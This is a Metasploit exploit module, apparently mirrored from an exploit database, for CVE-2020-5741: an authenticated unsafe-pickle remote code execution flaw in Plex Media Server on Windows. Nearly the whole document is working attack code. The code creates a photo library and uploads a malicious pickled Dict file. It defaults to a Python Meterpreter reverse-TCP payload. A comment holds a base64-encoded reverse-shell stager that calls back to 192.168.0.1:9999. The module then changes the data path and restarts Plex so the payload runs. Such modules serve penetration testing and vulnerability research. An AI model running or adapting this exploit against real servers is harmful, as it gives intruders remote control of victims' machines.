Share
## https://sploitus.com/exploit?id=PACKETSTORM:158470
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Plex Unpickle Dict Windows RCE',  
'Description' => %q{  
This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker  
can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable  
LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes  
an RCE as the user who started Plex.  
Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab  
the X-Plex-Token header. See info -d for additional details.  
If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required  
as subsuquent writes will make Dict-1, and not execute.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Chris Lyne' # discovery, POC  
],  
'References' =>  
[  
['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],  
['URL', 'https://www.tenable.com/security/research/tra-2020-32'],  
['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],  
['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],  
['CVE', '2020-5741']  
],  
'Platform' => ['python'],  
'Privileged' => false,  
'Arch' => [ARCH_PYTHON],  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice  
'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'May 7 2020',  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(32400),  
OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),  
OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),  
OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),  
OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])  
]  
)  
end  
  
def album_name  
if @album_name.nil?  
@album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']  
end  
@album_name  
end  
  
def create_photo_library  
print_status('Adding new photo library')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/library/sections',  
'headers' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN'],  
'Accept' => 'application/json'  
},  
'vars_get' =>  
{  
'name' => album_name,  
'language' => 'en',  
'agent' => 'com.plexapp.agents.none',  
'location' => datastore['LIBRARY_PATH'],  
'type' => 'photo',  
'scanner' => 'Plex Photo Scanner'  
}  
)  
# response:  
# {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}  
# we need to pull ['MediaContainer']['Directory'][0]['key']  
if res && res.code == 201 # 201 == Created  
return res.get_json_document['MediaContainer']['Directory'][0]['key']  
end  
  
nil  
end  
  
def add_pickle(location)  
print_status('Adding pickled Dict to library')  
# This is the pickle code, generated on windows to ensure no cross platform  
# issues were encountered  
#######  
# python (2.7 ships with Plex)  
#######  
# import pickle  
#  
# class EP(object):  
# def __init__(self):  
# pass  
# def __reduce__(self):  
# # for generating an approximately correct size and content, we use  
# # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1  
# # that payload is then added after runsource.  
# # The original pre-meterp return would be  
# # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))  
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))  
#  
# e = EP()  
# pickle.dumps(e)  
  
# The output from that command will look similar to the following:  
# 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'  
  
p = %|c__builtin__\neval\np0\n(S\'|  
p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")  
p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...  
filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"  
  
u = "type=13&sectionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"  
# using raw here because the encodings for the filename got really wacky when using CGI  
res = send_request_raw(  
'method' => 'POST',  
'uri' => "/library/metadata?#{u}Dict",  
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },  
'ctype' => 'application/octet-stream',  
'data' => p  
)  
if res && res.code == 401  
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')  
delete_photo_library(location)  
return false  
end  
# Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable  
# register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")  
  
if res && res.code == 401  
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')  
delete_photo_library(location)  
return false  
end  
true  
end  
  
def change_apppath(path)  
print_status('Changing AppPath')  
send_request_cgi(  
'method' => 'PUT',  
'uri' => '/:/prefs',  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN'],  
'LocalAppDataPath' => path  
}  
)  
end  
  
def restart_plex  
print_status('Restarting Plex')  
send_request_cgi(  
'method' => 'GET',  
'uri' => '/:/plugins/com.plexapp.system/restart',  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN']  
}  
)  
end  
  
def delete_photo_library(library)  
print_status('Deleting Photo Library')  
send_request_cgi(  
'method' => 'DELETE',  
'uri' => "/library/sections/#{library}",  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN']  
}  
)  
end  
  
def ret_server_info  
print_status('Gathering Plex Config')  
res = send_request_cgi(  
'uri' => '/',  
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }  
)  
unless res && res.code == 200  
return nil  
end  
  
return Hash.from_xml(res.body)  
end  
  
def check  
server = ret_server_info  
if server.nil?  
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')  
  
report_host({  
host: datastore['RHOST'],  
os_name: server['MediaContainer']['platform'],  
os_flavor: server['MediaContainer']['platformVersion']  
})  
print_status("Server Name: #{server['MediaContainer']['friendlyName']}")  
unless server['MediaContainer']['platform'] == 'Windows'  
print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")  
return CheckCode::Safe('Only Windows OS is exploitable')  
end  
print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")  
v = Gem::Version.new(server['MediaContainer']['version'])  
if v >= Gem::Version.new('1.19.3')  
print_bad("Server Version: #{v}")  
return CheckCode::Safe('Only < 1.19.3 is exploitable')  
end  
print_good("Server Version: #{server['MediaContainer']['version']}")  
unless server['MediaContainer']['allowCameraUpload']  
print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")  
return CheckCode::Safe('Camera Upload not enabled')  
end  
print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")  
CheckCode::Vulnerable  
end  
  
def exploit  
if datastore['PLEX_TOKEN'].blank?  
fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')  
end  
  
unless check == CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, 'Server not vulnerable')  
end  
  
print_status("Using album name: #{album_name}")  
id = create_photo_library  
if id.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')  
end  
print_good("Created Photo Library: #{id}")  
success = add_pickle(id)  
unless success  
fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')  
end  
change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")  
restart_plex  
print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")  
Rex.sleep(datastore['REBOOT_SLEEP'])  
print_status('Cleanup Phase: Reverting changes from exploitation')  
change_apppath('')  
restart_plex  
delete_photo_library(id)  
end  
end